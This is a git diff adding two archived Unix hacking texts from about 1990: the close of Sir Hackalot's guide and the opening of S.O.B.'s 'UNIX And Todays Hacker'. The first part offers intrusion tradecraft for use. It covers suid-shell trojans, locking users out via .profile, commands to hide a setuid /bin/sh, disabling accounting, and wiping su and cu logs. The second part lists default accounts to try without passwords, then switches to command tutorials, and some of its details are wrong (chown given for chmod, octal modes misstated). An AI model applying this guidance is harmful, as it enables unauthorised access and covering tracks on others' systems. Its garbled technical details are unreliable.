send the output of anything to his +terminal. Even what YOU do in shell. Like this: +$ sh >/dev/tty12 +$ +You'll get your prompts, but you won't see the output of any commands, he +will... +$ ls +$ banner Idiot! +$ echo Dumbass! +$ +until you type in exit, or hit ctrl-d. + + +There are many many things you can do. You can fake a "write" to someone +and make them think it was from somewhere on the other side of hell. Be +creative. + +When you are looking for things to do, look for holes, or try to get +someone to run a trojan horse that makes a suid shell. If you get +someone to run a trojan that does that, you can run the suid, and log their +ass off by killing their mother PID. (kill -9 whatever). Or, you can +lock them out by adding "kill -1 0" to their .profile. On the subject of +holes, always look for BAD suid bits. On one system thought to be invincible +I was able to read/modify everyone's mail, because I used a mailer that had +both the GroupID set, and the UserID set. When I went to shell from it, +the program instantly changed my Effective ID back to me, so I would not be +able to do anything but my regular stuff. But it was not designed to change +the GROUP ID back. The sysop had blundered there. SO when I did an ID +I found my group to be "Mail". Mailfiles are readble/writeable by the +user "mail", and the group "mail". I then set up a sgid (set group id) shell +to change my group id to "mail" when I ran it, and scanned important mail, +and it got me some good info. So, be on the look out for poor permissions. + +Also, after you gain access, you may want to keep it. Some tips on doing so +is: + 1. Don't give it out. If the sysadm sees that joeuser logged in 500 + times in one night....then.... + 2. Don't stay on for hours at a time. They can trace you then. Also + they will know it is irregular to have joeuser on for 4 hours + after work. + 3. Don't trash the system. Don't erase important files, and don't + hog inodes, or anything like that. Use the machine for a specific + purpose (to leech source code, develop programs, an Email site). + Dont be an asshole, and don't try to erase everything you can. + 4. Don't screw with users constantly. Watch their processes and + run what they run. It may get you good info (snoop!) + 5. If you add an account, first look at the accounts already in there + If you see a bunch of accounts that are just 3 letter abbrv.'s, + then make yours so. If a bunch are "cln, dok, wed" or something, + don't add one that is "joeuser", add one that is someone's + full initials. + + 6. When you add an account, put a woman's name in for the + description, if it fits (Meaning, if only companies log on to the + unix, put a company name there). People do not suspect hackers + to use women's names. They look for men's names. + 7. Don't cost the Unix machine too much money. Ie.. don't abuse an + outdial, or if it controls trunks, do not set up a bunch of dial + outs. If there is a pad, don't use it unless you NEED it. + 8. Don't use x.25 pads. Their usage is heavily logged. + 9. Turn off acct logging (acct off) if you have the access to. + Turn it on when you are done. + 10. Remove any trojan horses you set up to give you access when you + get access. + 11. Do NOT change the MOTD file to say "I hacked this system" Just + thought I'd tell you. Many MANY people do that, and lose access + within 2 hours, if the unix is worth a spit. + 12. Use good judgement. Cover your tracks. If you use su, clean + up the sulog. + 13. If you use cu, clean up the cu_log. + 14. If you use the smtp bug (wizard/debug), set up a uid shell. + 15. Hide all suid shells. Here's how: + goto /usr + (or any dir) + do: + # mkdir ".. " + # cd ".. " + # cp /bin/sh ".whatever" + # chmod a+s ".whatever" + The "" are NEEDED to get to the directory .. ! It will not show + up in a listing, and it is hard as hell to get to by sysadms if + you make 4 or 5 spaces in there (".. "), because all they will + see in a directory FULL list will be .. and they won't be able to + get there unless they use "" and know the spacing. "" is used + when you want to do literals, or use a wildcard as part of a file + name. + 16. Don't hog cpu time with password hackers. They really don't work + well. + + 17. Don't use too much disk space. If you archieve something to dl, + dl it, then kill the archieve. + 18. Basically -- COVER YOUR TRACKS. + +Some final notes: + +Now, I hear lots of rumors and stories like "It is getting harder to get +into systems...". Wrong. (Yo Pheds! You reading this??). It IS true +when you are dealing with WAN's, such as telenet, tyment, and the Internet, +but not with local computers not on those networks. Here's the story: + +Over the past few years, many small companies have sprung up as VARs +(Value Added Resellers) for Unix and Hardware, in order to make a fast +buck. Now, these companies fast talk companies into buying whatever, +and they proceed in setting up the Unix. Now, since they get paid by +the hour usaually when setting one up, they spread it out over days.... +during these days, the system is WIDE open (if it has a dialin). Get +in and add yourself to passwd before the seal it off (if they do..). +Then again, after the machine is set up, they leave the defaults on the +system. Why? The company needs to get in, and most VARs cannot use +unix worth a shit, all they know how to do is set it up, and that is ALL. +Then, they turn over the system to a company or business that USUALLY +has no-one that knows what they hell they are doing with the thing, except +with menus. So, they leave the system open to all...(inadvertedly..), +because they are not competant. So, you could usually get on, and create +havoc, and at first they will think it is a bug.. I have seen this +happen ALL to many times, and it is always the same story... +The VAR is out for a fast buck, so they set up the software (all they know +how to do), and install any software packages ordered with it (following +the step by step instructions). Then they turn it over to the business +who runs a word processor, or database, or something, un aware that a +"shell" or command line exists, and they probably don't even know root does. +So, we will see more and more of these pop up, especially since AT&T is +now bundling a version of Xwindows with their new System V, and Simultask... +which will lead to even more holes. You'll find systems local to you +that are easy as hell to get into, and you'll see what I mean. These +VARs are really actually working for us. If a security problem arises +that the business is aware of, they call the VAR to fix it... Of course, +the Var gets paid by the hour, and leaves something open so you'll get in +again, and they make more moolahhhh. + + +You can use this phile for whatever you want. I can't stop you. Just +to learn unix (heh) or whatever. But its YOUR ass if you get caught. +Always consider the penalties before you attempt something. Sometimes +it is not worth it, Sometimes it is. + +meant to be comprehensive, even though it may seem like +it. I have left out a LOT of techniques, and quirks, specifically to get +you to learn SOMETHING on your own, and also to retain information so +I will have some secrets. You may pass this file on, UNMODIFIED, to any +GOOD H/P BBS. Sysops can add things to the archieve to say where +it was DL'd from, or to the text viewer for the same purpose. This is +Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990. + +-Sir Hackalot of PHAZE +1990. + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/sobunix.txt b/textfiles.com/hacking/UNIX/sobunix.txt new file mode 100644 index 00000000..567260d1 --- /dev/null +++ b/textfiles.com/hacking/UNIX/sobunix.txt @@ -0,0 +1,2654 @@ + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ÛÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ³ + ³ÛÛÉÍÍÍͼ ÛÛÉÍÍÍÛÛ» ÛÛÉÍÍÛÛ» ³ + ³ÛÛÛÛÛÛÛ» ÛÛº ÛÛº ÛÛÛÛÛÛɼ ³ + ³ÈÍÍÍÍÛÛº ÛÛº ÛÛº ÛÛÉÍÍÛÛ» ³ + ³ÛÛÛÛÛÛÛº ÛÛ» ÈÛÛÛÛÛÛɼ ÛÛ» ÛÛÛÛÛÛɼ ÛÛ»³ + ³ÈÍÍÍÍÍͼ Èͼ ÈÍÍÍÍͼ Èͼ ÈÍÍÍÍͼ Èͼ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + ßßßßßß ßßßßßß ßßßßßßß ßßßßß ßßßßßßß ßßß ßß ßßßßßßßß ßßßßß + ßß ßß ßß ßß ßß ßß ßß ßßßß ßß ßß ßß + ßßßßßß ßßßßßß ßßßßß ßßßßß ßßßßß ßß ßß ßß ßß ßßßßß + ßß ßß ßß ßß ßß ßß ßß ßßßß ßß ßß + ßß ßß ßß ßßßßßßß ßßßßßß ßßßßßßß ßß ßßß ßß ßßßßßß + + UNIX And Todays Hacker + Your Friend and Mine + By: Syncomm (S.O.B. 513) + + + +Introduction +------------ + I wrote this file because in the underground there is alot of misinformation +floating around about UNIX and how to hack it. This evolved from all the '80's +and othe outdated material josteling about. That dosen't stop UNIX from being THE +most wide spread operating system among Bussinesses, Colledges, and even home +PC's. The most common forms of UNIX are SunOS, ULTRIX, XENIX, ROS, Berkley, PCIX, +and AT&T System V and above. + This file will concentrate on ULTRIX and AT&T, those being the most common, +(ULTRIX from an Inernet Hacker point of view, AT&T from a Core Hacker point of +view) and will cover just about EVERYTHING that a hacker from a novice to a +expert could use... If you find any errors or updates please contact a member of +S.O.B. + +Identifying A Unix +------------------ + When you come across a UNIX you will usually get the following: + + Welcome to the AT&T 386 UNIX System + System name: S754222 + + login: daemon + Password: + Login incorrect + login: + + + +Notice the lowercase "l" in login and the uppercase "P" in password... these are +the identifying marks of UNIX. Whenever you encounter a UNIX you will notice +those traits. The above System Identifies itself as an AT&T System V. + Unlike VAX there are no "defualt" passwords. There are only defualt accounts. +When the system is created none of the defualt accounts has a password untill the +system operator or the account owner sets one up for the account. Often, lazy +system operators and unwary users do not bother to password many (In some cases +even ALL!) of these accounts. To login under a non-passworded account simply +enter the accpunt name at the login prompt. + You may encounter some occasional errors when trying to get on under certain +defualt accounts simply because the account directory or the shell script for +that account was removed. + +Accounts +-------- + On any standard UNIX you will encounter several types of accounts. These +accounts are superuser, user, and command accounts. Superuser accounts give +system operator priviledges, and are not bound by file directory protections. + User accounts are names up to 14 characters long, however usually within the +range of 1-8. The usernames can contain almost any characters, including control +and special characters. + Command accounts simply login, preform a command, and (sometimes) logout. These +are used mainly for simple system tasks so the operator dosent have to mess with +the entire login procedure or so users can do simple quick tasks. + Here is a list of UNIX defualt and common accounts and their catagories: + + NAME CATAGORY + ---- -------- + root superuser + makefsys - + mountfsys - + umountfsys - + checkfsys - + lp user + daemon - + trouble - + nuucp - + uucp - + bin - + rje - + adm - + sysadm - + sync command or user + batch user + field - + standard - + gsa - + admin superuser + unix user + games - + tty - + user - + guest - + general - + lpadmin superuser + demo user + pub - + student - + test - + public - + help - + who command + rwho - + finger - + rfinger - + time - + date - + +NOTES: + The bin account although only a user account is particularly powerful as it has +ownership of many of the systems most powerful directories and files. + Try out variations of many of the accounts auch as root1, rje1, user1, etc. + +Benifits of "fingering" a UNIX +------------------------------ + + The command account that I found the most handy were the +finger,rfinger,who,rwho accounts. These accounts would let you view who was on +the system at the current time. If this account was implemented during a heavy +time in the day one could litteraly cath dosens of other accounts to hack, +WITHOUT EVEN HAVING AN ACCOUNT ON THE SYSTEM YET! As you can see these commands +are very benificial! + +UNIX Special Characters +----------------------- + + UNIX interprets certain characters in special ways. A list of these characters +and their purpose is explained below: + + Character Purpose + --------- ------- + ^D End of file + ^J Return + ^DELETE Ends current process + @ - + \ Escape Character + + These characters are rarely used in usernames and passwords because of the way +they are interpreted. + +UNIX Shell +---------- + + Shell is a command interpeter program that accepte your input and carries out +your commands. It is NOT the operating system, it is the interface between the +user and the operating system. It is executed once you login and is halted upon +your logout. Shell is just a regular program, and infact once you login you can +run multiple shells, which can be used to preform some rather interesting +trickss that will be detailed later in this packet. Here is a list of the shells, +and their unique characteristics, and how to tell which shell you are using: + +Shell +----- +sh -This is the Bourne shell, the standard shell of Unix System V,and the + focus of this file. This shell gives user-level accounts a command + prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix, + this shell gives an ampersand ("&") prompt. + +csh -This is the C shell, developed by the Berkely University Science + department. This shell is pretty much the same as the Bourne shell, but + features different shell programming control structures [shell + programming will be explained later, in the section on Unix software + development], and has a few luxuries such as aliasing (giving a command + or a series of commands a new name), and it keeps a history of the + commands you enter. This shell gives a "%" prompt for user accounts and + a "#" prompt for superuser accounts. + +ksh -This is the new, Korn shell. This shell combines features of both the + Bourne shell and the C shell. It boasts the Bourne shell's easier shell + programming, along with the C shell's aliasing and history. Its prompts + are "$" for users and "#" for superusers. + +rsh -This is the restricted Bourne shell. It is used for accounts that the + superuser wishes to restrict the commands available to. It will not + allow you to execute commands outside of your searchpath (which will be + explained later, also, in the section on software development), and + will not let you change directories or change the values of shell + variables. In all other respects, it is similar to the Bourne shell. A + later section of this file will detail ways to overcome the + restrictions of this shell. + +ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there + are some of those with dialups!) It implements a lousy windowing + system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the + Bourne shell from the ua shell. + + These are by no means all of the shells you will run across. These are +only the "official" shells provided by the distributors of the Unix operating +system. I've run across many "home-made" shells in my time. Also, any compiled +program can be used as a shell. For instance, I've used systems run by +businesses where one account logged in using an accounting program as a shell. +This prevented the account from being used to do anything other than use the +accounting program. Other good examples of this are the command logins-the who +command login, for example, uses the who program as its shell. When the program +is finished, the account is logged out. You will most definitely encounter +other such accounts as you hack Unix. + +UNIX Commands +------------- + I will attempt to discribe some fairly basic commands and tell how to get more +help online. I will also give out some breif syntax for a few of these commands +you will find necessary to know in order to find your way around the system. + Unix will usually only require that you use the base name of a file or +directory you wish to reference if it is in the directory you are currently in. +Most commands will also let you specify full pathnames if you wish to reference +files in other parts of the system. Most commands will also let you use several +wildcard characters when referencing files and directories. These are: +? -This means to accept any single character in the place of the question + mark. For instance, "t?m" would include both "tom" and "tim". + +* -This means to accept any character, group of characters, or nothing in + the position of the asterisk. For example, "t*m" would include "thom", + "tom", and "tim". +[] -This means to accept any character within the brackets in the position + of the brackets. For instance, "t[oia]m" would include "tom", "tim", + and "tam". You can also specify a range of characters in the brackets + by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm", + and "tcm". + + Most commands and programs in Unix take their input from the keyboard +and send their output to the screen. With most commands and programs, however, +you can instruct them to draw their input from a text file and redirect their +output to another file instead. For instance, assume there is a program on the +system called "encrypter", that takes its input from the keyboard, encrypts it, +and displays the encrypted data on the screen. You could instruct the program +to take its input, instead, from a previously prepared text file using the +input redirection character, "<". In Unix, as in MS-DOs (which is based in part +on Unix), you execute a program by typing its name. You wish the program to +take its input from a file in the directory you are currently in called +"top_secret". You would type "encrypter < top_secret". The program would then +read in the contents of the file top_secret and encrypt it, then print out the +encrypted form on the screen. Suppose you wanted to use the encrypter program +to encrypt files you wished to keep private? You could redirect the encrypted +output from the screen into another file. To do this, you would use the output +redirection character, ">". Say, you wished to save the output in a file called +"private". You would type "encrypter < top_secret > private". The encrypter +program would then read in the contents of the file top_secret and write the +encrypted output into the file "private". Nothing would be displayed to the +screen. If the file private does not exist, it will be created. If it +previously existed, its contents will be erased and replaced with the output +from the encrypter program. Perhaps you would want to add to the contents of a +file rather than replace its contents? This is done with ">>". The command +"encrypter < top_secret >> private" would append the output from the encrypter +to the current contents of the file private. Again, if the file private does +not already exist, it will be created. + Most commands have one or more options that you can specify. These are +placed after the command itself in the command line, and preceded by a hyphen. +For instance, let's say that the encrypter program had an option called +"x", which caused it to use a different encoding algorithm. You would +specify it by typing "encrypter -x". If a command has two or more options, you +can usually specify one or more together in a stream. For instance, let's say +that the encrypter program has 2 options, x and y. You could specify both like +this: "encrypter -xy". If one or more of the options requires an argument, for +example the x option requires a 2 character key, you can specify the options +separately, like this: "encrypter -xaa -y", where aa is the 2-character key. + The pipe character, "|", is used to channel the output of one command +or program into the input of another. For instance, suppose you had a command +called "report" that formatted documents into report format, and you had a file +called "myreport" that you wished to view in the report format. You could type: +"cat myreport" | report". This would type out the contents of the file myreport +to the report command rather than the screen, and the report command would +format it and display it on the screen. (Note: this example could have been +done with I/O redirection by typing "report < myreport"...but it makes a good +example of the use of pipes.) + You can choose to execute commands and programs in the background-that +is, the command executes, but you are free to carry out other tasks in the +meantime. To do this, type in the command line, followed by " &". For instance, +"rm * &" would delete all the files in the directory, but your terminal would +not be tied up. You would still be free to perform other tasks. When you do +this, the system will print out a number and then return you to the system +prompt. This number is the process number of the command. Process numbers will +be explained later in this section in the entry for the command "ps". The +command can be stopped before its completion with the kill command, also +explained in this section. Example: + $rm * & + 1234 + $ + +Note that when you use background processing, the command or program will still +takes its input from the keyboard (standard input device) and send its output +to the screen (standard output device), so if you wish for the command to work +in the background without disturbing you, you must redirect its input (if any) +and its output (if it's to the screen). + +The Commands +------------ +ls -This command lists the files and subdirectories in a directory. If you + simply type "ls", it will display the files in your current directory. + You can also specify the pathname of another directory, and it will + display the files in it. It will not display hidden files (files whose + name begins with a period). + + Options: + a -This option will display all files, including hidden files. + + Example: + $ ls -a + + . .. junk source + $ + +cd -This is the command used to move from one directory to another. To go + to a directory directly below your current directory, type "cd + ". To move up to the directory directly above your current + directory, type "cd .." You can also jump to any directory in the + system from any other directory in the system by specifying the path- + name of the directory you wish to go to, such as "cd /usr/source". + + Example: + $cd /usr/source + $ + +pwd -This prints out the pathname of the directory you are currently in. + Useful if you forget where you're at in the system tree. + + Example: + $pwd + /usr/source + +cat -Displays the contents of a text file on the screen. The correct syntax + is "cat ". You can use basenames or pathnames. + + Example: + $cat memo + Bill, + Remember to feed the cat! + -Martha + $ + +rm -This deletes a file. Syntax: "rm ". + + Example: + $rm junk + $ + +cp -Copies a file. Syntax: "cp file1 file2", where file1 is the file you + wish to copy, and file2 is the name of the copy you wish to create. If + file2 already exists, it will be overwritten. You may specify pathnames + for one or both arguments. + + Example: + $cp /usr/junk /usr/junk.backup + +stty -Displays/sets your terminal characteristics. To display the current + settings, type "stty". To change a setting, specify one of the options + listed below. + + Options: + echo -System echoes back your input. + noecho -System doesn't echo your input. + intr 'arg' -Sets the break character. The format is '^c' for control-c, + etc. '' means no break character. + erase 'arg' -Sets the backspace character. Format is '^h' for control-h, + etc. '' means no backspace character. + kill 'arg' -Sets the kill character (which means to ignore the last line + you typed). Format is the same as for intr and erase, + '^[character]', with '' meaning no kill character. + + Example: + $stty intr '^c' erase '^h' + $stty + stty -echo intr '^c' erase '^h' kill '^x' + +lpr -This command prints out a file on the Unix system's printer, for you + to drop by and pick up (if you dare!) The format is "lpr ". + + Example: + $lp junk + +ed -This is a text file line editor. The format is "edit ". The + file you wish to modify is not modified directly by the editor; it is + loaded into a buffer instead, and the changes are only made when you + issue a write command. If the file you are editing does not already + exist, it will be created as soon as issue the first write command. + When you first issue the edit command, you will be placed at the + command prompt, ":" Here is where you issue the various commands. Here + is list of some of the basic editor commands. + # -This is any number, such as 1, 2, etc. This will move you down + to that line of the file and display it. + d -This deletes the line you are currently at. You will then be + moved to the previous line, which will be displayed. + a -Begin adding lines to the file, just after the line that you + are currently on. This command will put you in the text input + mode. Simply type in the text you wish to add. To return to the + command mode, type return to get to an empty line, and press + the break key (which is whatever character you have set as your + break key). It is important to set the break character with + stty before you use the editor! + / -Searches for a pattern in the file. For example, "/junk" would + search the file from your current line down for the first line + which contains the string "junk", and will move you to that + line if it finds one. + i -Insert. Works similar to a, except that the text is inserted + before the line you are currently on. + p -Prints out a line or lines in the buffer. "p" by itself will + display your current line. "#p" will display the line "#". + You may also specify a range of lines, such as "1,3p" which + will display lines 1-3. "1,$p" will print out the entire file. + w -Write the changes in the buffer to the file. + q -Quit the editor. + + Example: + $edit myfile + Editing "myfile" [new file] + 0 lines, 0 characters + :a + I am adding stupid text to myfile. + This is a test. + ^c [this is assumed as a default break character in this example] + :1,$p + I am adding stupid text to myfile. + This is a test. + :2 + This is a test. + :d + I am adding stupid text to myfile. + :w + :q + $ + +grep -this command searches for strings of text in text files. The format is + grep [string] [file]. It will print out every line in the file that + contains the string you specified. + + Options: + v -Invert. This will print out every line that DOESN'T contain + the string you specified. + + Example: + $ grep you letter + your momma! + I think you're going to get caught. + $ + +who -This will show the users currently logged onto the system. + + Example: + $ who + + root console Mar 10 01:00 + uucp contty Mar 30 13:00 + bill tty03 Mar 30 12:15 + $ + Now, to explain the above output: the first field is the username of + the account. The second field shows which terminal the account is on. + Console is, always, the system console itself. On many systems where + there is only one dialup line, the terminal for that line is usually + called contty. the tty## terminals can usually be either dialups or + local terminals. The last fields show the date and time that the user + logged on. In the example above, let's assume that the current time and + date is March 30, and the time is 1:00. Notice that the time is in 24 + hour format. Now, notice that the root (superuser) account logged in on + March 10! Some systems leave the root account logged in all the time on + the console. So, if this is done on a system you are using, how can you + tell if the system operator is really online or not? Use the ps + command, explained next. + +ps -This command displays information about system processes. + + Options: + u -this displays information on a specific user's processes. For + instance, to display the root account's processes: + $ ps -uroot + + PID TTY TIME CMD + 1234 console 01:00 sh + 1675 ? 00:00 cron + 1687 console 13:00 who + 1780 tty09 12:03 sh + + Now, to explain that: The first field is the process number. + Each and every time you start a processes, running a program, + issueing a command, etc., that process is assigned a unique + number. The second is which terminal the process is being run + on. The third field is when the process was started. The last + field is the base name of the program or command being run. + A user's lowest process number is his login (shell) process. + Note that the lowerst process in the above example is 1234. + This process is being run on the console tty, which means the + superuser is logged on at the system console. Note the ? as the + tty in the next entry, for the cron process. You can ignore any + processes with a question mark as the terminal. These processes + are not bewing carried out by a user; they are being carried + out by the system under that user's id. Next, note the entry + for process # 1687, on the console terminal, "who". this means + that the superuser is executing the who command...which means + he is currently actively on-line. The next entry is interest- + ing...it shows that the root user has a shell process on the + terminal tty09! This means that someone else is logged in + under the root account, on tty09. If more than one person is + using an account, this option will display information for all + of them, unless you specify the next option... + + t -This allows you to select processes run on a specific term- + inal. For example: + $ps -t console + will show all the processes currently being run on the console. + + Example: + Remember, options can usually be combined. This will show all + the root user's processes being run on the system console: + $ ps -uroot -tconsole + + PID TTY TIME CMD + 1234 console 01:00 sh + 1687 console 13:00 who + $ + +kill -Kills processes. Syntax: kill [-#] process#. You must know the process + number to kill it. You can, optionally, specify an option of 1-9, to + determine the power of the kill command. Certain kinds of processes, + like shell processes, require more power to kill. Kill -9 will stop any + process. You must have superuser capabilities fo kill another user's + processes (unless he's using your account). + + Example: + $kill -9 1234 + 1234 killed. + $ + +write -This command is for on-line realtime user to user communications. To + communicate with a user, type "write ". If more than one + person is logged in under that user name, you must specify a specific + terminal you wish to speak to. When you do this, the person you wish + to communicate with will see: + Message from [your account name] tty## [<--your terminal] + + Now you can type messages, and they will be displayed on that person's + terminal when you press return. When you are finished, press control-D + to quit. + + Example: + $ write root + Fuck you I'm a hacker! [This is not advised.] + ^d + $ + +mail -The Unix mail facilities, used to send/receive mail. To send mail, + type "mail ". Enter your message and press control-d to send. + To read your mail, type "mail". Your first letter will be displayed, + and then you will be given a "?" prompt. + Here are the legal commands you give at this point: + ## -Read message number ##. + d -Delete last message read. + + -Go to next message. + - -Move back one message. + m -Send mail to user. + s -Save last message read. You can specify the name of the file + to which it is saved, or it will be saved to the default file, + mbox. + w -Same as s, but will save the message without the mail file + header. + x -Exit without deleting messages that have been read. + q -Exit, deleting messages that have been read. + p -Print last message read again. + ? -Lists these commands. + + Examples: + To send mail: + $ mail root + Hi bill! This is a nice system. + -John + ^d + $ + To read mail: + $ mail + From john Thu Mar 13 02:00:00 1986 + Hi bill! This is a nice system. + -John + ? d + Message deleted. + ?q + $ + +crypt -This is the Unix file encryption utility. Type "crypt". You will then + be prompted to enter the password. You then enter the text. Each line + is encrypted when you press return, and the encrypted form is displayed + on the screen. So, to encrypt a file, you must use I/O redirection. + Type "crypt [password] < [file1] > [file2]". This will encrypt the con- + tents of file1 and place the encrypted output in file2. If file 2 does + not exist, it will be created. + +passwd -This is the command used to change the password of an account. The + format is "passwd ". You must have superuser capabilities to + change the password for any account other than the one you are logged + in under. To change the password of the account you are currently + using, simply type "passwd". You will then be prompted to enter the + current password. Next, you will be asked to enter the new password. + Then you will be asked to verify the new password. If you verify the + old password correctly, the password change will be complete. (Note: + some systems use a security feature which forces you to use at least + 2 non-alphanumeric characters in the password. If this is the case with + the system you are on, you will be informed so if you try to enter a + new password that does not contain at least 2 non-alphanumeric char- + acters.) + +su -This command is used to temporarily assume the id of another account. + the format is "su ". If you don't specify an account, the + default root is assumed. If the account has no password, you will then + assume that account's identity. If it does have a password, you will + be prompted to enter it. Beware of hacking passwords like this, as the + system keeps a log of all attempted uses, both successful and un- + successful, and which account you attempted to access. + +mkdir -This command creates a directory. the format is "mkdir ". + +rmdir -This command deletes a directory. The directory must be empty first. + The format is "rmdir ". + +mv -Renames a file. The syntax is "mv [oldname] [newname]". You can use + full pathnames, but the new name must have the same pathname as the + old name, except for the filename itself. + +------------------------------------------------------------------------------- + Further help can usually be gained from the system itself. Most systems +feature on-line entries from the Unix System User's Manual. You can read these +entries using the man command. The format is "man ". Some Unix System +V systems also feature a menu-driven help facility. Simply type "help" to +access it. This one will provide you with a list of commands, as well as with +the manual entries for the commands. +------------------------------------------------------------------------------- + +UNIX File and Directory Protections +----------------------------------- + Every Unix account is assigned a specific user number, and a group number. This +is how the system identifies the user. Therefore, 2 accounts with different +usernames but the same user number would be considered by the system to be the +same id. These user and group numbers are what Unix uses to determine file and +directory access privileges. + Unix has three different file/directory permissions: read, write, and execute. +This how these permissions affect access to files: + +read -Allows a user to view the contents of the file. +write -Allows a user to change the contents of a file. +execute -Allows a user to execute a file (if it is an executable type of file; + if it isn't, the user will get an error when trying to execute it). + +This is how these permissions affect access to directories: + +read -Allows a user to list out the files in a directory (ls). +write -Allows a user to save and delete files in this directory. +execute -If a user has execute access to a directory, he can go to that dir- + ectory with the cd command. If he also has read permission to that dir- + ectory, he can also copy files from it and gain information on the + permissions for that directory and the files it contains, with the "l" + option to the ls command, which will be explained soon. + + Unix divides users into 3 classes: user (the owner of the file or directory), +group (members of the owner's group), and other (anyone who doesn'tfit into the +first two classes). You can specify what permissions to give to a file for each +class of user. + To show the permissions of the files in a directory, use "ls -l". This will list +the contents of the directory (as in ls), and will show each's permissions. For +example: + $ls + bin startrek + $ ls -l + drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin + -rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek + + In the above example, the directory we are in contains a subdirectory called bin +and a file called "startrek". Here is an explantion of the fields: The first +field contains the file's type and permissions. Look at the first field of +the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see the "-" at +the begginging of the first field for the file startrek. This shows the file +type. "D" is a directory. "-" is a file. "c" is a device file. Now, back to the +first field of the first line again. Notice the "rwxrwxrwx". These are the +permissions. The permissions are divided into three groups: [user][group][other]. +R stands for read, w stands for write, and x stand for execute. "rwxrwxrwx" means +that all three classes of users, owner, group, and other, have read, write, and +execute permissions to the directory bin. Now look at the second line. It reads +"rwxr-xr--". Notice the "-"'s in the place of some of the permissions. This means +that the file was not given that permission. Line 2 shows that the owner has +read, write, and execute permissions for the file startrek, members of the +owner's group have read and execute permissios, but not write (notice the "-" in +the place of the group part's w), and all others have only read privileges +("r--"...there are hyphens in the place of the others part's w and x). + Now, let's look at the other fields. The second field is a number (in his case, +the number is one for each line). This shows the number of copies of this file on +the system. The third field shows the name of the owner of file (or directory). +The fourth field shows the username of the owner of the file. The fifth field, +which is not shown on some systems, shows the name of the owner's group.The sixth +field shows the size of the file. the seventh field shows the time and date the +file was last modified. the last field shows the name of the file or directory. + The command used to change file/directory permissions is chmod. There are 2 ways +to change permissions: symbolically and absolutely. This will explain both. + When you change permissions symbolically, only the permissions you specify to be +added or deleted will be changed. The other permissions will remain as they are. +The format is: +chown [u, g, or o] [+ or -] [rwx] [file/directory name] +The following abbreviations are used: +u -User (the file or directory's owner) +g -Group (members of the owner's group) +o -Others (all others) +r -Read permission +w -Write permission +x -Execute permission + +You use u, g, and o to specify which group you wish to change the privileges +for. To add a permission, type "chown [class]+[permissions] [filename]". For +instance, to add group write permissions to the file startrek, type "chown g+w +startrek". To delete permissions, use the "-". For instance, to remove the +owner's write access to the file "startrek", type "chown u-w startrek". + + When you set file permissions absolutely, any permissions that you do not give +the file or directory are automatically deleted. The format for setting +permissions absolutely is "chown [mode number] filename". You determine +the mode number by adding together the code numbers for the permissions you +wish to give the file. Here are the permissions and their numbers: + +Others execute permission 1 +Others write permission 2 +Others read permission 4 + +Group execute permission 10 +Group write permission 20 +Group read permission 40 + +User (owner) execute permission 100 +User (owner) write permission 200 +User (owner) read permission 400 + + There are also two special file modes that can be set only absolutely. These are +the UID and GID modes. The UID mode, when applied to an executable file, means +that when another user executes the file, he executes it under the user number of +the owner (in other words, he runs the program as if he were the owner of the +file). If the file has its GID mode bit set, then when someone executes the file, +his group will temporarily be changed to that of the file's owner. The permission +number for the GID mode is 2000, and the number for the UID mode is 4000. If the +uid bit is set, there will be an "S" in the place of the x in the owner +permissions section when you check a file's permissions: +-rwSr-xr-x +If the uid bit is set, and the owner of the file has execute permissions, the S +will not be capitalized: +-rwsr-xr-x +If the gid bit is set, the same applies to the x in the section on group +permissions. + A short note here is in order on how these permissions affect superuser +accounts. They don't-unless the owner of the file is root. All superuser +accounts have the same user number, which means that the system considers them +all to be the same-that is, they are considered to be the root account. Thus, +superuser accounts are only bound by the protections of files and directories +that they own, and they can easily change the permissions of any files and +directories that they do not have the access to that they wish. + +Special UNIX Files +------------------ + This section will detail the purposes of some files that are found on all +systems. There are quite a few of these, and knowing their uses and what +format their entries are in is very useful to the hacker. + +The Files +--------- +/etc/passwd -This is the password file, and is THE single most important + file on the system. This file is where information on the + system's accounts are stored. Each entry has 7 fields: + + username:password:user#:group#:description:home dir:shell + + The first field, naturally, is the account's username. The + second field is the account's password (in an encrypted form). + If this field is blank, the account doesn't have a password. + The next field is the account's user number. The fourth field + is the account's group number. The fifth field is for a + description of the account. This field is used only in the + password file, and is often just left blank, as it has no + significance. The sixth field is the pathname of the account's + home directory, and the last field is the pathname of the + account's shell program. Sometimes you may see an account with + a program besides the standard shell programs (sh, csh, etc.) + as its shell program. These are "command logins". These + accounts execute these programs when logging in. For example, + the "who" command login would have the /bin/who program as its + shell. + Here is a typical-looking entry: + + root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh + + This entry is for the root account. Notice that the encrypted + form of the password is 13 characters, yet the Unix passwords + are only 11 characters maximum. The last 2 characters are what + is called a "salt string", and are used in the encryption + process, which will be explained in more detail later. Now, + notice the user number, which is zero. Any account with a user + number of 0 has superuser capabilities. The group number is 1. + The account description is "superuser". The account's home dir- + ectory is the root directory, or "/". The account's shell is + the bourne shell (sh), which is kept in the directory /bin. + Sometimes you may see an entry in the password field like this: + :NHFfnldyNjh,21AB: + Notice the period after the 13th character, followed by 2 + digits and 2 letters. If an account has an entry like this, the + account has a fixed expiration date on its password. The first + digit, in this case 2, shows the maximum number of weeks that + the account can keep the same password. The second digit shows + how many weeks must pass before the account can change its + password. (This is to prevent users from using the same old + password constantly by changing the password when forced to and + then changing it back immediately.) The last 2 characters are + an encrypted form of when the password was last changed. + Other unusual password field entries you might encounter are: + :: + :,21: + The first entry means that the account has no password. The + second entry means that the account has no password yet, but + has a fixed expiration date that wil begin as soon as a pass- + word is given to it. + Now, for an explanation of how the Unix system encrypts + the passwords. The first thing any 